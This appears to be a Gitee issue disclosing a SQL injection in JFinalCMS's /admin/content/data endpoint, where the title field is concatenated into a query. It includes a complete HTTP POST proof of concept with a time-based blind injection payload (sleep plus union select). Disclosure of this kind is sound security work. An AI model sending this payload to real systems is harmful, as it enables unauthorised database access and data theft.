There is a SQL injection vulnerability in the /admin/content/data interface

There is an SQL injection vulnerability in the /admin/content/data interface, where the title content can be directly concatenated into an SQL statement from the frontend, resulting in SQL injection.

The title field is frontend controllable.
![输入图片说明](https://foruda.gitee.com/images/1704960651861991975/1461a31c_9300199.png "屏幕截图")

You can concatenate SQL statements in the findPage method
![输入图片说明](https://foruda.gitee.com/images/1704960898058665112/1c444fe6_9300199.png "屏幕截图")

poc

```
POST /cms_war/admin/content/data HTTP/1.1
Host: localhost:8088
Cache-Control: max-age=0
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=C9762AF4F00229E355EF8725E86A508E
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 91

categoryId=&pageNumber=1&title=22'and(select*from(select+sleep(5))a/**/union/**/select+1)='
```
![输入图片说明](https://foruda.gitee.com/images/1704961252066588693/5522640c_9300199.png "屏幕截图")

樱木/JFinalCMS

Content Risk Flag

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樱木/JFinalCMS .gitee-modal { width: 500px !important; }

Content Risk Flag